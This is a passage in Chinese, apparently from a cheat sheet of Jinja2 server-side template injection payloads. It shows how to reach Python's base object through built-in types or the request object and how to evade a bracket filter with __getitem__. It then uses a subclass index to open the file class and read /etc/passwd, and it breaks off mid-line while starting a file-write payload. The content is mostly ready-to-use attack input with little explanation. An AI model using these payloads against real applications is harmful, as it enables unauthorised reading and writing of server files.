0x00 获取基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]
可以借助__getitem__绕过中括号限制:
''.__class__.__mro__.__getitem__(2)
{}.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)
下面基本类就用object代替,测试时将object换成上面任意一个
0x01 文件操作
object.__subclasses__()[40]为file类,所以可以对文件进行操作
读文件:
object.__subclasses__()[40]('/etc/passwd').read()
写文件:
object.__subclasses__()[40](&